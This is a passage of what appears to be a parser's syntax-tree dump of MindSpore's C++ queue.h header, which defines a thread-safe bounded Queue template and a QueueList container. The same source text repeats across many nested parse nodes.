{\n auto k = tail_++ % sz_;\n *(arr_[k]) = ele;\n return Status::OK();\n }\n\n // Helper function for Add, must be called when holding a lock\n Status AddWhileHoldingLock(T &&ele) {\n auto k = tail_++ % sz_;\n *(arr_[k]) = std::forward<T>(ele);\n return Status::OK();\n }\n\n // Helper function for PopFront, must be called when holding a lock\n Status PopFrontWhileHoldingLock(pointer p, bool clean_extra) {\n auto k = head_++ % sz_;\n *p = std::move(*(arr_[k]));\n if (!extra_arr_.empty() && clean_extra) {\n RETURN_IF_NOT_OK(this->AddWhileHoldingLock(std::forward<T>(extra_arr_[0])));\n extra_arr_.erase(extra_arr_.begin());\n }\n return Status::OK();\n }\n\n void ResetQue() noexcept {\n while (head_ < tail_) {\n T val;\n this->PopFrontWhileHoldingLock(&val, false);\n MS_LOG(DEBUG) << "Address of val: " << &val;\n }\n empty_cv_.ResetIntrpState();\n full_cv_.ResetIntrpState();\n head_ = 0;\n tail_ = 0;\n }\n};\n\n// A container of queues with [] operator accessors. Basically this is a wrapper over of a vector of queues\n// to help abstract/simplify code that is maintaining multiple queues.\ntemplate <typename T>\nclass QueueList {\n public:\n QueueList() {}\n\n void Init(int num_queues, int capacity) {\n queue_list_.reserve(num_queues);\n for (int i = 0; i < num_queues; i++) {\n queue_list_.emplace_back(std::make_unique<Queue<T>>(capacity));\n }\n }\n\n Status Register(TaskGroup *vg) {\n if (vg == nullptr) {\n return Status(StatusCode::kMDUnexpectedError, __LINE__, __FILE__,\n "Null task group during QueueList registration.");\n }\n for (int i = 0; i < queue_list_.size(); ++i) {\n RETURN_IF_NOT_OK(queue_list_[i]->Register(vg));\n }\n return Status::OK();\n }\n\n auto size() const { return queue_list_.size(); }\n\n std::unique_ptr<Queue<T>> &operator[](const int index) { return queue_list_[index]; }\n\n const std::unique_ptr<Queue<T>> &operator[](const int index) const { return queue_list_[index]; }\n\n ~QueueList() = default;\n\n Status AddQueue(TaskGroup *vg) {\n queue_list_.emplace_back(std::make_unique<Queue<T>>(queue_list_[0]->capacity()));\n return queue_list_[queue_list_.size() - 1]->Register(vg);\n }\n Status RemoveLastQueue() {\n CHECK_FAIL_RETURN_UNEXPECTED(queue_list_.size() > 1, "Cannot remove more than the current queues.");\n queue_list_.pop_back();\n return Status::OK();\n }\n\n private:\n // Queue contains non-copyable objects, so it cannot be added to a vector due to the vector\n // requirement that objects must have copy semantics. To resolve this, we use a vector of unique\n // pointers. This allows us to provide dynamic creation of queues in a container.\n std::vector<std::unique_ptr<Queue<T>>> queue_list_;\n};\n} // namespace dataset\n} // namespace mindspore\n#endif // MINDSPORE_CCSRC_MINDDATA_DATASET_UTIL_QUEUE_H_\n" (comment) "/**\n * Copyright 2019 Huawei Technologies Co., Ltd\n *\n * Licensed under the Apache License, Version 2.0 (the "License");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an "AS IS" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */" (preproc_ifdef) "#ifndef MINDSPORE_CCSRC_MINDDATA_DATASET_UTIL_QUEUE_H_\n#define MINDSPORE_CCSRC_MINDDATA_DATASET_UTIL_QUEUE_H_\n\n#include <atomic>\n#include <memory>\n#include <mutex>\n#include <string>\n#include <type_traits>\n#include <utility>\n#include <vector>\n\n#include "./securec.h"\n#include "utils/ms_utils.h"\n#include "minddata/dataset/util/allocator.h"\n#include "minddata/dataset/util/log_adapter.h"\n#include "minddata/dataset/util/services.h"\n#include "minddata/dataset/util/cond_var.h"\n#include "minddata/dataset/util/task_manager.h"\n\nnamespace mindspore {\nnamespace dataset {\n// A simple thread safe queue using a fixed size array\ntemplate <typename T>\nclass Queue {\n public:\n using value_type = T;\n using pointer = T *;\n using const_pointer = const T *;\n using reference = T &;\n using const_reference = const T &;\n\n explicit Queue(int sz)\n : sz_(sz), arr_(Services::GetAllocator<T>()), head_(0), tail_(0), my_name_(Services::GetUniqueID()) {\n Status rc = arr_.allocate(sz);\n if (rc.IsError()) {\n MS_LOG(ERROR) << "Fail to create a queue.";\n std::terminate();\n } else {\n MS_LOG(DEBUG) << "Create Q with uuid " << my_name_ << " of size " << sz_ << ".";\n }\n }\n\n virtual ~Queue() { ResetQue(); }\n\n size_t size() const {\n size_t v = tail_ - head_;\n return (v >= 0) ? v : 0;\n }\n\n size_t capacity() const { return sz_; }\n\n bool empty() const { return head_ == tail_; }\n\n void Reset() {\n std::unique_lock<std::mutex> _lock(mux_);\n ResetQue();\n extra_arr_.clear();\n }\n\n // Producer\n Status Add(const_reference ele) noexcept {\n std::unique_lock<std::mutex> _lock(mux_);\n // Block when full\n Status rc = full_cv_.Wait(&_lock, [this]() -> bool { return (size() != capacity()); });\n if (rc.IsOk()) {\n RETURN_IF_NOT_OK(AddWhileHoldingLock(ele));\n empty_cv_.NotifyAll();\n _lock.unlock();\n } else {\n empty_cv_.Interrupt();\n }\n return rc;\n }\n\n Status Add(T &&ele) noexcept {\n std::unique_lock<std::mutex> _lock(mux_);\n // Block when full\n Status rc = full_cv_.Wait(&_lock, [this]() -> bool { return (size() != capacity()); });\n if (rc.IsOk()) {\n RETURN_IF_NOT_OK(AddWhileHoldingLock(std::forward<T>(ele)));\n empty_cv_.NotifyAll();\n _lock.unlock();\n } else {\n empty_cv_.Interrupt();\n }\n return rc;\n }\n\n template <typename... Ts>\n Status EmplaceBack(Ts &&... args) noexcept {\n std::unique_lock<std::mutex> _lock(mux_);\n // Block when full\n Status rc = full_cv_.Wait(&_lock, [this]() -> bool { return (size() != capacity()); });\n if (rc.IsOk()) {\n auto k = tail_++ % sz_;\n new (arr_[k]) T(std::forward<Ts>(args)...);\n empty_cv_.NotifyAll();\n _lock.unlock();\n } else {\n empty_cv_.Interrupt();\n }\n return rc;\n }\n\n // Consumer\n Status PopFront(pointer p) {\n std::unique_lock<std::mutex> _lock(mux_);\n // Block when empty\n Status rc = empty_cv_.Wait(&_lock, [this]() -> bool { return !empty(); });\n if (rc.IsOk()) {\n RETURN_IF_NOT_OK(PopFrontWhileHoldingLock(p, true));\n full_cv_.NotifyAll();\n _lock.unlock();\n } else {\n full_cv_.Interrupt();\n }\n return rc;\n }\n\n Status Register(TaskGroup *vg) {\n Status rc1 = empty_cv_.Register(vg->GetIntrpService());\n Status rc2 = full_cv_.Register(vg->GetIntrpService());\n if (rc1.IsOk()) {\n return rc2;\n } else {\n return rc1;\n }\n }\n\n Status Resize(int32_t new_capacity) {\n std::unique_lock<std::mutex> _lock(mux_);\n CHECK_FAIL_RETURN_UNEXPECTED(new_capacity > 0,\n "New capacity: " + std::to_string(new_capacity) + ", should be larger than 0");\n RETURN_OK_IF_TRUE(new_capacity == capacity());\n std::vector<T> queue;\n // pop from the original queue until the new_capacity is full\n for (int32_t i = 0; i < new_capacity; ++i) {\n if (head_ < tail_) {\n // if there are elements left in queue, pop out\n T temp;\n RETURN_IF_NOT_OK(this->PopFrontWhileHoldingLock(&temp, true));\n queue.push_back(temp);\n } else {\n // if there is nothing left in queue, check extra_arr_\n if (!extra_arr_.empty()) {\n // if extra_arr_ is not empty, push to fill the new_capacity\n queue.push_back(extra_arr_[0]);\n extra_arr_.erase(extra_arr_.begin());\n } else {\n // if everything in the queue and extra_arr_ is popped out, break the loop\n break;\n }\n }\n }\n // if there are extra elements in queue, put them to extra_arr_\n while (head_ < tail_) {\n T temp;\n RETURN_IF_NOT_OK(this->PopFrontWhileHoldingLock(&temp, false));\n extra_arr_.push_back(temp);\n }\n this->ResetQue();\n RETURN_IF_NOT_OK(arr_.allocate(new_capacity));\n sz_ = new_capacity;\n for (int32_t i = 0; i < queue.size(); ++i) {\n RETURN_IF_NOT_OK(this->AddWhileHoldingLock(queue[i]));\n }\n queue.clear();\n _lock.unlock();\n return Status::OK();\n }\n\n private:\n size_t sz_;\n MemGuard<T, Allocator<T>> arr_;\n std::vector<T> extra_arr_; // used to store extra elements after reducing capacity, will not be changed by Add,\n // will pop when there is a space in queue (by PopFront or Resize)\n size_t head_;\n size_t tail_;\n std::string my_name_;\n std::mutex mux_;\n CondVar empty_cv_;\n CondVar full_cv_;\n\n // Helper function for Add, must be called when holding a lock\n Status AddWhileHoldingLock(const_reference ele) {\n auto k = tail_++ % sz_;\n *(arr_[k]) = ele;\n return Status::OK();\n }\n\n // Helper function for Add, must be called when holding a lock\n Status AddWhileHoldingLock(T &&ele) {\n auto k = tail_++ % sz_;\n *(arr_[k]) = std::forward<T>(ele);\n return Status::OK();\n }\n\n // Helper function for PopFront, must be called when holding a lock\n Status PopFrontWhileHoldingLock(pointer p, bool clean_extra) {\n auto k = head_++ % sz_;\n *p = std::move(*(arr_[k]));\n if (!extra_arr_.empty() && clean_extra) {\n RETURN_IF_NOT_OK(this->AddWhileHoldingLock(std::forward<T>(extra_arr_[0])));\n extra_arr_.erase(extra_arr_.begin());\n }\n return Status::OK();\n }\n\n void ResetQue() noexcept {\n while (head_ < tail_) {\n T val;\n this->PopFrontWhileHoldingLock(&val, false);\n MS_LOG(DEBUG) << "Address of val: " << &val;\n }\n empty_cv_.ResetIntrpState();\n full_cv_.ResetIntrpState();\n head_ = 0;\n tail_ = 0;\n }\n};\n\n// A container of queues with [] operator accessors. Basically this is a wrapper over of a vector of queues\n// to help abstract/simplify code that is maintaining multiple queues.\ntemplate <typename T>\nclass QueueList {\n public:\n QueueList() {}\n\n void Init(int num_queues, int capacity) {\n queue_list_.reserve(num_queues);\n for (int i = 0; i < num_queues; i++) {\n queue_list_.emplace_back(std::make_unique<Queue<T>>(capacity));\n }\n }\n\n Status Register(TaskGroup *vg) {\n if (vg == nullptr) {\n return Status(StatusCode::kMDUnexpectedError, __LINE__, __FILE__,\n "Null task group during QueueList registration.");\n }\n for (int i = 0; i < queue_list_.size(); ++i) {\n RETURN_IF_NOT_OK(queue_list_[i]->Register(vg));\n }\n return Status::OK();\n }\n\n auto size() const { return queue_list_.size(); }\n\n std::unique_ptr<Queue<T>> &operator[](const int index) { return queue_list_[index]; }\n\n const std::unique_ptr<Queue<T>> &operator[](const int index) const { return queue_list_[index]; }\n\n ~QueueList() = default;\n\n Status AddQueue(TaskGroup *vg) {\n queue_list_.emplace_back(std::make_unique<Queue<T>>(queue_list_[0]->capacity()));\n return queue_list_[queue_list_.size() - 1]->Register(vg);\n }\n Status RemoveLastQueue() {\n CHECK_FAIL_RETURN_UNEXPECTED(queue_list_.size() > 1, "Cannot remove more than the current queues.");\n queue_list_.pop_back();\n return Status::OK();\n }\n\n private:\n // Queue contains non-copyable objects, so it cannot be added to a vector due to the vector\n // requirement that objects must have copy semantics. To resolve this, we use a vector of unique\n // pointers. This allows us to provide dynamic creation of queues in a container.\n std::vector<std::unique_ptr<Queue<T>>> queue_list_;\n};\n} // namespace dataset\n} // namespace mindspore\n#endif" (#ifndef) "#ifndef" (identifier) "MINDSPORE_CCSRC_MINDDATA_DATASET_UTIL_QUEUE_H_" (preproc_def) "#define MINDSPORE_CCSRC_MINDDATA_DATASET_UTIL_QUEUE_H_\n" (#define) "#define" (identifier) "MINDSPORE_CCSRC_MINDDATA_DATASET_UTIL_QUEUE_H_" (preproc_include) "#include <atomic>\n" (#include) "#include" (system_lib_string) "<atomic>" (preproc_include) "#include <memory>\n" (#include) "#include" (system_lib_string) "<memory>" (preproc_include) "#include <mutex>\n" (#include) "#include" (system_lib_string) "<mutex>" (preproc_include) "#include <string>\n" (#include) "#include" (system_lib_string) "<string>" (preproc_include) "#include <type_traits>\n" (#include) "#include" (system_lib_string) "<type_traits>" (preproc_include) "#include <utility>\n" (#include) "#include" (system_lib_string) "<utility>" (preproc_include) "#include <vector>\n" (#include) "#include" (system_lib_string) "<vector>" (preproc_include) "#include "./securec.h"\n" (#include) "#include" (string_literal) ""./securec.h"" (") """ (string_content) "./securec.h" (") """ (preproc_include) "#include "utils/ms_utils.h"\n" (#include) "#include" (string_literal) ""utils/ms_utils.h"" (") """ (string_content) "utils/ms_utils.h" (") """ (preproc_include) "#include "minddata/dataset/util/allocator.h"\n" (#include) "#include" (string_literal) ""minddata/dataset/util/allocator.h"" (") """ (string_content) "minddata/dataset/util/allocator.h" (") """ (preproc_include) "#include "minddata/dataset/util/log_adapter.h"\n" (#include) "#include" (string_literal) ""minddata/dataset/util/log_adapter.h"" (") """ (string_content) "minddata/dataset/util/log_adapter.h" (") """ (preproc_include) "#include "minddata/dataset/util/services.h"\n" (#include) "#include" (string_literal) ""minddata/dataset/util/services.h"" (") """ (string_content) "minddata/dataset/util/services.h" (") """ (preproc_include) "#include "minddata/dataset/util/cond_var.h"\n" (#include) "#include" (string_literal) ""minddata/dataset/util/cond_var.h"" (") """ (string_content) "minddata/dataset/util/cond_var.h" (") """ (preproc_include) "#include "minddata/dataset/util/task_manager.h"\n" (#include) "#include" (string_literal) ""minddata/dataset/util/task_manager.h"" (") """ (string_content) "minddata/dataset/util/task_manager.h" (") """ (function_definition) "namespace mindspore {\nnamespace dataset {\n// A simple thread safe queue using a fixed size array\ntemplate <typename T>\nclass Queue {\n public:\n using value_type = T;\n using pointer = T *;\n using const_pointer = const T *;\n using reference = T &;\n using const_reference = const T &;\n\n explicit Queue(int sz)\n : sz_(sz), arr_(Services::GetAllocator<T>()), head_(0), tail_(0), my_name_(Services::GetUniqueID()) {\n Status rc = arr_.allocate(sz);\n if (rc.IsError()) {\n MS_LOG(ERROR) << "Fail to create a queue.";\n std::terminate();\n } else {\n MS_LOG(DEBUG) << "Create Q with uuid " << my_name_ << " of size " << sz_ << ".";\n }\n }\n\n virtual ~Queue() { ResetQue(); }\n\n size_t size() const {\n size_t v = tail_ - head_;\n return (v >= 0) ? v : 0;\n }\n\n size_t capacity() const { return sz_; }\n\n bool empty() const { return head_ == tail_; }\n\n void Reset() {\n std::unique_lock<std::mutex> _lock(mux_);\n ResetQue();\n extra_arr_.clear();\n }\n\n // Producer\n Status Add(const_reference ele) noexcept {\n std::unique_lock<std::mutex> _lock(mux_);\n // Block when full\n Status rc = full_cv_.Wait(&_lock, [this]() -> bool { return (size() != capacity()); });\n if (rc.IsOk()) {\n RETURN_IF_NOT_OK(AddWhileHoldingLock(ele));\n empty_cv_.NotifyAll();\n _lock.unlock();\n } else {\n empty_cv_.Interrupt();\n }\n return rc;\n }\n\n Status Add(T &&ele) noexcept {\n std::unique_lock<std::mutex> _lock(mux_);\n // Block when full\n Status rc = full_cv_.Wait(&_lock, [this]() -> bool { return (size() != capacity()); });\n if (rc.IsOk()) {\n RETURN_IF_NOT_OK(AddWhileHoldingLock(std::forward<T>(ele)));\n empty_cv_.NotifyAll();\n _lock.unlock();\n } else {\n empty_cv_.Interrupt();\n }\n return rc;\n }\n\n template <typename... Ts>\n Status EmplaceBack(Ts &&... args) noexcept {\n std::unique_lock<std::mutex> _lock(mux_);\n // Block when full\n Status rc = full_cv_.Wait(&_lock, [this]() -> bool { return (size() != capacity()); });\n if (rc.IsOk()) {\n auto k = tail_++ % sz_;\n new (arr_[k]) T(std::forward<Ts>(args)...);\n empty_cv_.NotifyAll();\n _lock.unlock();\n } else {\n empty_cv_.Interrupt();\n }\n return rc;\n }\n\n // Consumer\n Status PopFront(pointer p) {\n std::unique_lock<std::mutex> _lock(mux_);\n // Block when empty\n Status rc = empty_cv_.Wait(&_lock, [this]() -> bool { return !empty(); });\n if (rc.IsOk()) {\n RETURN_IF_NOT_OK(PopFrontWhileHoldingLock(p, true));\n full_cv_.NotifyAll();\n _lock.unlock();\n } else {\n full_cv_.Interrupt();\n }\n return rc;\n }\n\n Status Register(TaskGroup *vg) {\n Status rc1 = empty_cv_.Register(vg->GetIntrpService());\n Status rc2 = full_cv_.Register(vg->GetIntrpService());\n if (rc1.IsOk()) {\n return rc2;\n } else {\n return rc1;\n }\n }\n\n Status Resize(int32_t new_capacity) {\n std::unique_lock<std::mutex> _lock(mux_);\n CHECK_FAIL_RETURN_UNEXPECTED(new_capacity > 0,\n "New capacity: " + std::to_string(new_capacity) + ", should be larger than 0");\n RETURN_OK_IF_TRUE(new_capacity == capacity());\n std::vector<T> queue;\n // pop from the original queue until the new_capacity is full\n for (int32_t i = 0; i < new_capacity; ++i) {\n if (head_ < tail_) {\n // if there are elements left in queue, pop out\n T temp;\n RETURN_IF_NOT_OK(this->PopFrontWhileHoldingLock(&temp, true));\n queue.push_back(temp);\n } else {\n // if there is nothing left in queue, check extra_arr_\n if (!extra_arr_.empty()) {\n // if extra_arr_ is not empty, push to fill the new_capacity\n queue.push_back(extra_arr_[0]);\n extra_arr_.erase(extra_arr_.begin());\n } else {\n // if everything in the queue and extra_arr_ is popped out, break the loop\n break;\n }\n }\n }\n // if there are extra elements in queue, put them to extra_arr_\n while (head_ < tail_) {\n T temp;\n RETURN_IF_NOT_OK(this->PopFrontWhileHoldingLock(&temp, false));\n extra_arr_.push_back(temp);\n }\n this->ResetQue();\n RETURN_IF_NOT_OK(arr_.allocate(new_capacity));\n sz_ = new_capacity;\n for (int32_t i = 0; i < queue.size(); ++i) {\n RETURN_IF_NOT_OK(this->AddWhileHoldingLock(queue[i]));\n }\n queue.clear();\n _lock.unlock();\n return Status::OK();\n }\n\n private:\n size_t sz_;\n MemGuard<T, Allocator<T>> arr_;\n std::vector<T> extra_arr_; // used to store extra elements after reducing capacity, will not be changed by Add,\n // will pop when there is a space in queue (by PopFront or Resize)\n size_t head_;\n size_t tail_;\n std::string my_name_;\n std::mutex mux_;\n CondVar empty_cv_;\n CondVar full_cv_;\n\n // Helper function for Add, must be called when holding a lock\n Status AddWhileHoldingLock(const_reference ele) {\n auto k = tail_++ % sz_;\n *(arr_[k]) = ele;\n return Status::OK();\n }\n\n // Helper function for Add, must be called when holding a lock\n Status AddWhileHoldingLock(T &&ele) {\n auto k = tail_++ % sz_;\n *(arr_[k]) = std::forward<T>(ele);\n return Status::OK();\n }\n\n // Helper function for PopFront, must be called when holding a lock\n Status PopFrontWhileHoldingLock(pointer p, bool clean_extra) {\n auto k = head_++ % sz_;\n *p = std::move(*(arr_[k]));\n if (!extra_arr_.empty() && clean_extra) {\n RETURN_IF_NOT_OK(this->AddWhileHoldingLock(std::forward<T>(extra_arr_[0])));\n extra_arr_.erase(extra_arr_.begin());\n }\n return Status::OK();\n }\n\n void ResetQue() noexcept {\n while (head_ < tail_) {\n T val;\n this->PopFrontWhileHoldingLock(&val, false);\n MS_LOG(DEBUG) << "Address of val: " << &val;\n }\n empty_cv_.ResetIntrpState();\n full_cv_.ResetIntrpState();\n head_ = 0;\n tail_ = 0;\n }\n};\n\n// A container of queues with [] operator accessors. Basically this is a wrapper over of a vector of queues\n// to help abstract/simplify code that is maintaining multiple queues.\ntemplate <typename T>\nclass QueueList {\n public:\n QueueList() {}\n\n void Init(int num_queues, int capacity) {\n queue_list_.reserve(num_queues);\n for (int i = 0; i < num_queues; i++) {\n queue_list_.emplace_back(std::make_unique<Queue<T>>(capacity));\n }\n }\n\n Status Register(TaskGroup *vg) {\n if (vg == nullptr) {\n return Status(StatusCode::kMDUnexpectedError, __LINE__, __FILE__,\n "Null task group during QueueList registration.");\n }\n for (int i = 0; i < queue_list_.size(); ++i) {\n RETURN_IF_NOT_OK(queue_list_[i]->Register(vg));\n }\n return Status::OK();\n }\n\n auto size() const { return queue_list_.size(); }\n\n std::unique_ptr<Queue<T>> &operator[](const int index) { return queue_list_[index]; }\n\n const std::unique_ptr<Queue<T>> &operator[](const int index) const { return queue_list_[index]; }\n\n ~QueueList() = default;\n\n Status AddQueue(TaskGroup *vg) {\n queue_list_.emplace_back(std::make_unique<Queue<T>>(queue_list_[0]->capacity()));\n return queue_list_[queue_list_.size() - 1]->Register(vg);\n }\n Status RemoveLastQueue() {\n CHECK_FAIL_RETURN_UNEXPECTED(queue_list_.size() > 1, "Cannot remove more than the current queues.");\n queue_list_.pop_back();\n return Status::OK();\n }\n\n private:\n // Queue contains non-copyable objects, so it cannot be added to a vector due to the vector\n // requirement that objects must have copy semantics. To resolve this, we use a vector of unique\n // pointers. This allows us to provide dynamic creation of queues in a container.\n std::vector<std::unique_ptr<Queue<T>>> queue_list_;\n};\n}" (type_identifier) "namespace" (identifier) "mindspore" (compound_statement) "{\nnamespace dataset {\n// A simple thread safe queue using a fixed size array\ntemplate <typename T>\nclass Queue {\n public:\n using value_type = T;\n using pointer = T *;\n using const_pointer = const T *;\n using reference = T &;\n using const_reference = const T &;\n\n explicit Queue(int sz)\n : sz_(sz), arr_(Services::GetAllocator<T>()), head_(0), tail_(0), my_name_(Services::GetUniqueID()) {\n Status rc = arr_.allocate(sz);\n if (rc.IsError()) {\n MS_LOG(ERROR) << "Fail to create a queue.";\n std::terminate();\n } else {\n MS_LOG(DEBUG) << "Create Q with uuid " << my_name_ << " of size " << sz_ << ".";\n }\n }\n\n virtual ~Queue() { ResetQue(); }\n\n size_t size() const {\n size_t v = tail_ - head_;\n return (v >= 0) ? v : 0;\n }\n\n size_t capacity() const { return sz_; }\n\n bool empty() const { return head_ == tail_; }\n\n void Reset() {\n std::unique_lock<std::mutex> _lock(mux_);\n ResetQue();\n extra_arr_.clear();\n }\n\n // Producer\n Status Add(const_reference ele) noexcept {\n std::unique_lock<std::mutex> _lock(mux_);\n // Block when full\n Status rc = full_cv_.Wait(&_lock, [this]() -> bool { return (size() != capacity()); });\n if (rc.IsOk()) {\n RETURN_IF_NOT_OK(AddWhileHoldingLock(ele));\n empty_cv_.NotifyAll();\n _lock.unlock();\n } else {\n empty_cv_.Interrupt();\n }\n return rc;\n }\n\n Status Add(T &&ele) noexcept {\n std::unique_lock<std::mutex> _lock(mux_);\n // Block when full\n Status rc = full_cv_.Wait(&_lock, [this]() -> bool { return (size() != capacity()); });\n if (rc.IsOk()) {\n RETURN_IF_NOT_OK(AddWhileHoldingLock(std::forward<T>(ele)));\n empty_cv_.NotifyAll();\n _lock.unlock();\n } else {\n empty_cv_.Interrupt();\n }\n return rc;\n }\n\n template <typename... Ts>\n Status EmplaceBack(Ts &&... args) noexcept {\n std::unique_lock<std::mutex> _lock(mux_);\n // Block when full\n Status rc = full_cv_.Wait(&_lock, [this]() -> bool { return (size() != capacity()); });\n if (rc.IsOk()) {\n auto k = tail_++ % sz_;\n new (arr_[k]) T(std::forward<Ts>(args)...);\n empty_cv_.NotifyAll();\n _lock.unlock();\n } else {\n empty_cv_.Interrupt();\n }\n return rc;\n }\n\n // Consumer\n Status PopFront(pointer p) {\n std::unique_lock<std::mutex> _lock(mux_);\n // Block when empty\n Status rc = empty_cv_.Wait(&_lock, [this]() -> bool { return !empty(); });\n if (rc.IsOk()) {\n RETURN_IF_NOT_OK(PopFrontWhileHoldingLock(p, true));\n full_cv_.NotifyAll();\n _lock.unlock();\n } else {\n full_cv_.Interrupt();\n }\n return rc;\n }\n\n Status Register(TaskGroup *vg) {\n Status rc1 = empty_cv_.Register(vg->GetIntrpService());\n Status rc2 = full_cv_.Register(vg->GetIntrpService());\n if (rc1.IsOk()) {\n return rc2;\n } else {\n return rc1;\n }\n }\n\n Status Resize(int32_t new_capacity) {\n std::unique_lock<std::mutex> _lock(mux_);\n CHECK_FAIL_RETURN_UNEXPECTED(new_capacity > 0,\n "New capacity: " + std::to_string(new_capacity) + ", should be larger than 0");\n RETURN_OK_IF_TRUE(new_capacity == capacity());\n std::vector<T> queue;\n // pop from the original queue until the new_capacity is full\n for (int32_t i = 0; i < new_capacity; ++i) {\n if (head_ < tail_) {\n // if there are elements left in queue, pop out\n T temp;\n RETURN_IF_NOT_OK(this->PopFrontWhileHoldingLock(&temp, true));\n queue.push_back(temp);\n } else {\n // if there is nothing left in queue, check extra_arr_\n if (!extra_arr_.empty()) {\n // if extra_arr_ is not empty, push to fill the new_capacity\n queue.push_back(extra_arr_[0]);\n extra_arr_.erase(extra_arr_.begin());\n } else {\n // if everything in the queue and extra_arr_ is popped out, break the loop\n break;\n }\n }\n }\n // if there are extra elements in queue, put them to extra_arr_\n while (head_ < tail_) {\n T temp;\n RETURN_IF_NOT_OK(this->PopFrontWhileHoldingLock(&temp, false));\n extra_arr_.push_back(temp);\n }\n this->ResetQue();\n RETURN_IF_NOT_OK(arr_.allocate(new_capacity));\n sz_ = new_capacity;\n for (int32_t i = 0; i < queue.size(); ++i) {\n RETURN_IF_NOT_OK(this->AddWhileHoldingLock(queue[i]));\n }\n queue.clear();\n _lock.unlock();\n return Status::OK();\n }\n\n private:\n size_t sz_;\n MemGuard<T, Allocator<T>> arr_;\n std::vector<T> extra_arr_; // used to store extra elements after reducing capacity, will not be changed by Add,\n // will pop when there is a space in queue (by PopFront or Resize)\n size_t head_;\n size_t tail_;\n std::string my_name_;\n std::mutex mux_;\n CondVar empty_cv_;\n CondVar full_cv_;\n\n // Helper function for Add, must be called when holding a lock\n Status AddWhileHoldingLock(const_reference ele) {\n auto k = tail_++ % sz_;\n *(arr_[k]) = ele;\n return Status::OK();\n }\n\n // Helper function for Add, must be called when holding a lock\n Status AddWhileHoldingLock(T &&ele) {\n auto k = tail_++ % sz_;\n *(arr_[k]) = std::forward<T>(ele);\n return Status::OK();\n }\n\n // Helper function for PopFront, must be called when holding a lock\n Status PopFrontWhileHoldingLock(pointer p, bool clean_extra) {\n auto k = head_++ % sz_;\n *p = std::move(*(arr_[k]));\n if (!extra_arr_.empty() && clean_extra) {\n RETURN_IF_NOT_OK(this->AddWhileHoldingLock(std::forward<T>(extra_arr_[0])));\n extra_arr_.erase(extra_arr_.begin());\n }\n return Status::OK();\n }\n\n void ResetQue() noexcept {\n while (head_ < tail_) {\n T val;\n this->PopFrontWhileHoldingLock(&val, false);\n MS_LOG(DEBUG) << "Address of val: " << &val;\n }\n empty_cv_.ResetIntrpState();\n full_cv_.ResetIntrpState();\n head_ = 0;\n tail_ = 0;\n }\n};\n\n// A container of queues with [] operator accessors. Basically this is a wrapper over of a vector of queues\n// to help abstract/simplify code that is maintaining multiple queues.\ntemplate <typename T>\nclass QueueList {\n public:\n QueueList() {}\n\n void Init(int num_queues, int capacity) {\n queue_list_.reserve(num_queues);\n for (int i = 0; i < num_queues; i++) {\n queue_list_.emplace_back(std::make_unique<Queue<T>>(capacity));\n }\n }\n\n Status Register(TaskGroup *vg) {\n if (vg == nullptr) {\n return Status(StatusCode::kMDUnexpectedError, __LINE__, __FILE__,\n "Null task group during QueueList registration.");\n }\n for (int i = 0; i < queue_list_.size(); ++i) {\n RETURN_IF_NOT_OK(queue_list_[i]->Register(vg));\n }\n return Status::OK();\n }\n\n auto size() const { return queue_list_.size(); }\n\n std::unique_ptr<Queue<T>> &operator[](const int index) { return queue_list_[index]; }\n\n const std::unique_ptr<Queue<T>> &operator[](const int index) const { return queue_list_[index]; }\n\n ~QueueList() = default;\n\n Status AddQueue(TaskGroup *vg) {\n queue_list_.emplace_back(std::make_unique<Queue<T>>(queue_list_[0]->capacity()));\n return queue_list_[queue_list_.size() - 1]->Register(vg);\n }\n Status RemoveLastQueue() {\n CHECK_FAIL_RETURN_UNEXPECTED(queue_list_.size() > 1, "Cannot remove more than the current queues.");\n queue_list_.pop_back();\n return Status::OK();\n }\n\n private:\n // Queue contains non-copyable objects, so it cannot be added to a vector due to the vector\n // requirement that objects must have copy semantics. To resolve this, we use a vector of unique\n // pointers. This allows us to provide dynamic creation of queues in a container.\n std::vector<std::unique_ptr<Queue<T>>> queue_list_;\n};\n}" ({) "{" (function_definition) "namespace dataset {\n// A simple thread safe queue using a fixed size array\ntemplate <typename T>\nclass Queue {\n public:\n using value_type = T;\n using pointer = T *;\n using const_pointer = const T *;\n using reference = T &;\n using const_reference = const T &;\n\n explicit Queue(int sz)\n : sz_(sz), arr_(Services::GetAllocator<T>()), head_(0), tail_(0), my_name_(Services::GetUniqueID()) {\n Status rc = arr_.allocate(sz);\n if (rc.IsError()) {\n MS_LOG(ERROR) << "Fail to create a queue.";\n std::terminate();\n } else {\n MS_LOG(DEBUG) << "Create Q with uuid " << my_name_ << " of size " << sz_ << ".";\n }\n }\n\n virtual ~Queue() { ResetQue(); }\n\n size_t size() const {\n size_t v = tail_ - head_;\n return (v >= 0) ? v : 0;\n }\n\n size_t capacity() const { return sz_; }\n\n bool empty() const { return head_ == tail_; }\n\n void Reset() {\n std::unique_lock<std::mutex> _lock(mux_);\n ResetQue();\n extra_arr_.clear();\n }\n\n // Producer\n Status Add(const_reference ele) noexcept {\n std::unique_lock<std::mutex> _lock(mux_);\n // Block when full\n Status rc = full_cv_.Wait(&_lock, [this]() -> bool { return (size() != capacity()); });\n if (rc.IsOk()) {\n RETURN_IF_NOT_OK(AddWhileHoldingLock(ele));\n empty_cv_.NotifyAll();\n _lock.unlock();\n } else {\n empty_cv_.Interrupt();\n }\n return rc;\n }\n\n Status Add(T &&ele) noexcept {\n std::unique_lock<std::mutex> _lock(mux_);\n // Block when full\n Status rc = full_cv_.Wait(&_lock, [this]() -> bool { return (size() != capacity()); });\n if (rc.IsOk()) {\n RETURN_IF_NOT_OK(AddWhileHoldingLock(std::forward<T>(ele)));\n empty_cv_.NotifyAll();\n _lock.unlock();\n } else {\n empty_cv_.Interrupt();\n }\n return rc;\n }\n\n template <typename... Ts>\n Status EmplaceBack(Ts &&... args) noexcept {\n std::unique_lock<std::mutex> _lock(mux_);\n // Block when full\n Status rc = full_cv_.Wait(&_lock, [this]() -> bool { return (size() != capacity()); });\n if (rc.IsOk()) {\n auto k = tail_++ % sz_;\n new (arr_[k]) T(std::forward<Ts>(args)...);\n empty_cv_.NotifyAll();\n _lock.unlock();\n } else {\n empty_cv_.Interrupt();\n }\n return rc;\n }\n\n // Consumer\n Status PopFront(pointer p) {\n std::unique_lock<std::mutex> _lock(mux_);\n // Block when 